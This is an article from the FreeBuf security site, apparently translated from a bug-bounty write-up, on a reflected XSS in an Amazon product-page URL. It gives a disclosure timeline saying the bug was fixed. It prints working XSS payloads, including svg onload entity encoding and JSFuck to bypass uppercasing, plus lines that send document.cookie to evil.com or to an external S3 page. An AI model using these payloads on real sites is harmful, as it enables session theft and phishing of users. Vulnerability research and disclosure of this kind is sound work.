freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

挖洞经验 | 看我如何发现亚马逊网站的反射型XSS漏洞
clouds 2018-07-02 13:00:14 732364

 看我如何发现亚马逊网站的反射型XSS漏洞

在过去的两个月里,我一直通过开发https://scroll.am网站 (亚马逊快速浏览方式)来提高我的前端和后端技能。我通过这样的项目开发来学习更多关于Web新框架(如vue.js)和新技术(如Codestar & Lambda,AWS )。在此过程中,我也学习到了一些关于XSS漏洞的知识,发现了亚马逊的某个反射型XSS漏洞,来和大家作个分享。

我一直对亚马逊网站的货物展示方式感兴趣,比如,这种展示方式的设计架构是啥?他们如何实现良好的用户体验呢?这些可以略从亚马逊的A/B测试策略知晓,但却无法找到他们具体的网站架构测试设计。

A/B测试是一种新兴的网页优化方法,可以用于增加转化率注册率等网页指标。简单来说,A/B测试是一种用于提升App/H5/小程序产品转化率、优化获客成本的数据决策方法。对于互联网产品来说,通过A/B测试提升点击转化率,优化获客成本已得到越来越多的关注。

APP安全测试

亚马逊购物APP

一种查看亚马逊网站架构设计的方式莫过于去了解它的购物APP了。某个雨天的周五下午,我决定反编译一下亚马逊的安卓APP看看其中的代码长啥样。大概步骤是这样的:下载APK文件,使用一些在线反编译器提取其中的代码,检查其中不同文件涉及的URL链接和产品页面等信息。

查找产品页面链接

通常,亚马逊产品页面链接中都包含 ‘/dp/’ 字样,大概是这样的:https://www.amazon.com/gp/masclient/dp/<product_id> ,所以我就简单的执行了 ‘/dp/’ 字段搜索: 看我如何发现亚马逊网站的反射型XSS漏洞

Masclient 产品页面

我检查了很多产品页面URL,但唯独没见着像下图这样包含 ‘masclient’ 的产品页面URL:

https://www.amazon.com/gp/masclient/dp/B00Q7LTUK

 看我如何发现亚马逊网站的反射型XSS漏洞哦,这看似是一个使用内部应用的自定义产品页面,把产品id换成其它看看会是什么反应? 看我如何发现亚马逊网站的反射型XSS漏洞额,这好像有点戏,URL解析过程中未对产品id作适当检查,而且还把它全部大写了(TEST),那来看看注入HTML代码会怎样呢?就试试滚动内容的HTML <marquee> 标签吧:

https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch1%3Ehi%20mom!

 看我如何发现亚马逊网站的反射型XSS漏洞

啊,太好了,URL竟然对7个不同字段进行了解析,其中一个地方就是脚本标签里:

 看我如何发现亚马逊网站的反射型XSS漏洞

面临的问题

输入会被大写化

所以像alert这样的javascript函数会被转义为ALERT,从而失效。还好,有人曾在对Yahoo.com网站的XSS漏洞挖掘中规避了这种大写转义,解决方法是这样的:先把纯文本字符转换为HTML实体字符,然后对其进行URL编码,最后用SVG标记的onload参数输出,格式像这样:

<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>

像</script>这样的闭合标签不可用

遇到闭合标签它会给出404错误响应,所以,这样就不可能通过<script src="evil.com/1.js"></script>这样的方式来加载我们的 javascript 文件。解决方法要这样:在DOM标签中,使用 <svg onload=javascript:alert(1)> 实现 javascript 注入,或者直接使用链接脚本中的向量来执行,像这样,我们可以添加这样的 “}’> 几个字符来突破限制,最终的URL链接就会是这样的:

https://www.amazon.com/gp/masclient/dp/'}");}JAVASCRIPTHERE;{("

由于大写转义的问题,我们在这考虑用 jsfuck 代码方式来把 javascript 代码转变为 ! ( ) + [ ] 形式的字符,例如响应出 debugger 函数的URL经 jsfuck 方式转换后是这样的:

https://www.amazon.com/gp/masclient/dp/'%7D");%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+`...

如果对URL长度没限制的话,利用这种技术可以成功注入cookie窃取代码 fetch("evil.com"+document.cookie),最终实现这种cookie窃取的URL长度会超过8000个字符。

URL链接长度限制

按我的测试来看,只要URL长度超过3500个字符左右,亚马逊网站页面就会停止响应,所以,在这里,要想实现cookie窃取,我们貌似就不能利用这种 JSFuck 编码技术了。但在reddit社区中,有人建议可以用  jjencode 编码,但我测试后发现,这种 $ 符号的方式最终好像不能被正常解析。

JSFuck:是一种基于JavaScript的另类编程风格,它只使用六个不同的字符([,],(,),!,+),来编写和执行代码。它不依赖于浏览器,所以你甚至可以在 Node.js. 上运行它,转换后的代码只使用6个字符,实现的功能和转换前代码是一样的。

Chrome 浏览器 XSS Auditor的警告

Chrome 浏览器67.0.3396.62后的版本,都会主动识别并阻拦XSS攻击,抛出 ERR_BLOCKED_BY_XSS_AUDITOR 响应错误。为了完成验证性测试,我采用了无内置ss auditor的Firefox (60.0.1) 浏览器。

最终在Firefox中的 XSS PoC 攻击

有了对以上问题的分析之后,在这里,我构造了一个亚马逊URL链接,能让访问者重定向到另一个外部URL链接,并在该外部链接中实现对访问者cookie的窃取展示。由于访问者所有对亚马逊网站的浏览操作都会被这个构造链接记录,也就是说最终我就可以窃取访问者的亚马逊网站session。另外,我还可以在其中加入一个假冒的亚马逊登录界面,间接实现对访问用户的用户名密码信息窃取。

 看我如何发现亚马逊网站的反射型XSS漏洞.gif

最终用到的Payload

测试链接:

https://www.amazon.com/gp/masclient/dp/%22%7D%27%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26%23x6E%3B%26%23x64%3B%26%23x6F%3B%26%23x77%3B%26%23x2E%3B%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B%26%23x2E%3B%26%23x72%3B%26%23x65%3B%26%23x70%3B%26%23x6C%3B%26%23x61%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x73%3B%26%23x33%3B%26%23x2D%3B%26%23x65%3B%26%23x75%3B%26%23x2D%3B%26%23x77%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x2D%3B%26%23x31%3B%26%23x2E%3B%26%23x61%3B%26%23x6D%3B%26%23x61%3B%26%23x7A%3B%26%23x6F%3B%26%23x6E%3B%26%23x61%3B%26%23x77%3B%26%23x73%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6D%3B%26%23x2F%3B%26%23x70%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x69%3B%26%23x6E%3B%26%23x67%3B%26%23x2D%3B%26%23x74%3B%26%23x61%3B%26%23x72%3B%26%23x67%3B%26%23x65%3B%26%23x74%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x31%3B%26%23x2E%3B%26%23x68%3B%26%23x74%3B%26%23x6D%3B%26%23x6C%3B%26%23x3F%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x3D%3B%26%23x27%3B%26%23x2B%3B%26%23x65%3B%26%23x73%3B%26%23x63%3B%26%23x61%3B%26%23x70%3B%26%23x65%3B%26%23x28%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x29%3B%26%23x29%3B%3E

URL编码后的链接:

https://www.amazon.com/gp/masclient/dp/"}'><svg onload=&#x77;&#x69;&#x6E;&#x64;&#x6F;&#x77;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x2E;&#x72;&#x65;&#x70;&#x6C;&#x61;&#x63;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x73;&#x33;&#x2D;&#x65;&#x75;&#x2D;&#x77;&#x65;&#x73;&#x74;&#x2D;&#x31;&#x2E;&#x61;&#x6D;&#x61;&#x7A;&#x6F;&#x6E;&#x61;&#x77;&#x73;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x70;&#x65;&#x6E;&#x74;&#x65;&#x73;&#x74;&#x69;&#x6E;&#x67;&#x2D;&#x74;&#x61;&#x72;&#x67;&#x65;&#x74;&#x2F;&#x78;&#x73;&#x73;&#x31;&#x2E;&#x68;&#x74;&#x6D;&#x6C;&#x3F;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3D;&#x27;&#x2B;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x29;>

HTML 实体字符转换后的链接:

https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace(‘https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>

在 Chrome 浏览器中弹出 alert(1) 的链接(还是采用了JSFuck 编码):

https://www.amazon.com/gp/masclient/dp/'%7D%22);%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![]);%7B(%22

 看我如何发现亚马逊网站的反射型XSS漏洞.gif

总结

要对内部APP应用进行严格安全审查,有时一个参数就可导致严重的安全漏洞。XXS payload一样也能通过混淆编码方式绕过某些限制,形成安全威胁。

漏洞上报进程

2018-6-8   发现漏洞

2018-6-9   向亚马逊上报漏洞

2018-6-11  亚马逊确认漏洞

2018-6-14  亚马逊修复漏洞,无赏金

2018-6-15  漏洞修复被确认 公开漏洞

*参考来源:medium,clouds 编译,转载请注明来自FreeBuf.COM

# xss # 亚马逊
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 clouds 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
clouds LV.9
I'm a robot , don't talk to me , code to me.
  • 348 文章数
  • 612 关注者
挖洞经验 | 获取国际象棋对战网站Chess.com五千万用户信息
2021-02-24
挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用
2021-02-23
挖洞经验 | 以账户更新方式实现某大公司网站普通用户到管理员的提权
2021-02-22
文章目录